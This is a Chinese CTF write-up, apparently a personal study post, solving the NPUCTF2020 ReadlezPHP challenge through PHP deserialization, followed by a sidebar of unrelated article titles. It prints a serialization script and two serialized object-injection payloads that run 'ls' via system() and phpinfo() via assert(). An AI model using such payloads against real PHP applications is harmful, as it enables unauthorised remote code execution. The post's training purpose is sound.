当前位置:网站首页>[NPUCTF2020]ReadlezPHP 1
[NPUCTF2020]ReadlezPHP 1
2022-07-27 05:04:00 【weixin_53150482】
每周学习总结
打开网页:

没有任何可以利用的点,查看源代码:
在最下面发现这样一段话,点击发现源代码:
很明显代码审计,因为代码很简单就不做过多的赘述,这直接的思路就是反序列化,这里的思路就是将 $b 赋值为 system 之类的,将 $a 赋值为执行的命令
所以我们开始编写 payload, 我们可以想到的执行命令的就是 system 和 eval,所以这里我们先使用 system 进行目录遍历:<?php class HelloPhp { public $a="ls"; public $b=system; } $c = new HelloPhp; $b = serialize($c); echo $b; ?>O:8:“HelloPhp”:2:{s:1:“a”;s:2:“ls”;s:1:“b”;s:6:“system”;}
显示内容:
这就不对了,可能是过滤了,所以我们换一个 eval 试一下 ,因为这个是执行 php 代码所以我们先试一下 phpinfo() :
连输出都没有了,肯定不行了,这下搞个什么,看看 别人的 wp他们使用的 assert ,这个不是断言吗?但是它会通过执行第一个参数来判断后续步骤,也可以
构造 payload:O:8:“HelloPhp”:2:{s:1:“a”;s:9:“phpinfo()”;s:1:“b”;s:6:“assert”;}

在当前页面寻找 flag 就可以找到
总结
- 这一关告诉我们在 PHP 中执行代码有 sysytem() eval() assert()
- 关于 assert() 的另一道题 :攻防世界-mfw
边栏推荐
猜你喜欢

维持登录,路由跳转

OSI七层模型和TCP/IP四层(TCP与UDP)(笔记)

深度优先搜索(dfs)简介

权限的配置,组件传值

C language string function: StrCmp, strncpy, strncat, strncmp, strstr, strtok, strError

User login - and create and verify SMS verification code

一本通顺序结构程序设计题解(第一章)

Share a multiple-choice question about variables (including global variables, local variables, the scope of variables, and life cycle knowledge points)

Share a multiple-choice question about the process of program compilation (including a brief discussion on the compilation process, the formation and merging process of symbol tables)

布局的搭建及天气预报的显示
随机推荐
初识C语言——字符串+转义字符+注释
First knowledge of C language - why does every C program have a main function
洛谷超级玛丽游戏
set集合
DNSmasq使用总结
Flask blueprint
JS==操作符的强制类型转换规定
权限展示-左侧列表动态化
flask一对多数据库创建,基础增删改查
分享力扣—189.轮转数组 的三种解法
C语言函数入门介绍
正则表达式
JS基础知识--每日学习总结①
深度优先搜索(dfs)简介
小米商城项目_注册
一本通1201——斐波那契数列
Carmaker quick start lesson 4 developing 48V P1 hybrid system
【C语言switch分支语句和循环语句】
JS中&&(与)和||(或)操作符的返回值
JS中原型及原型链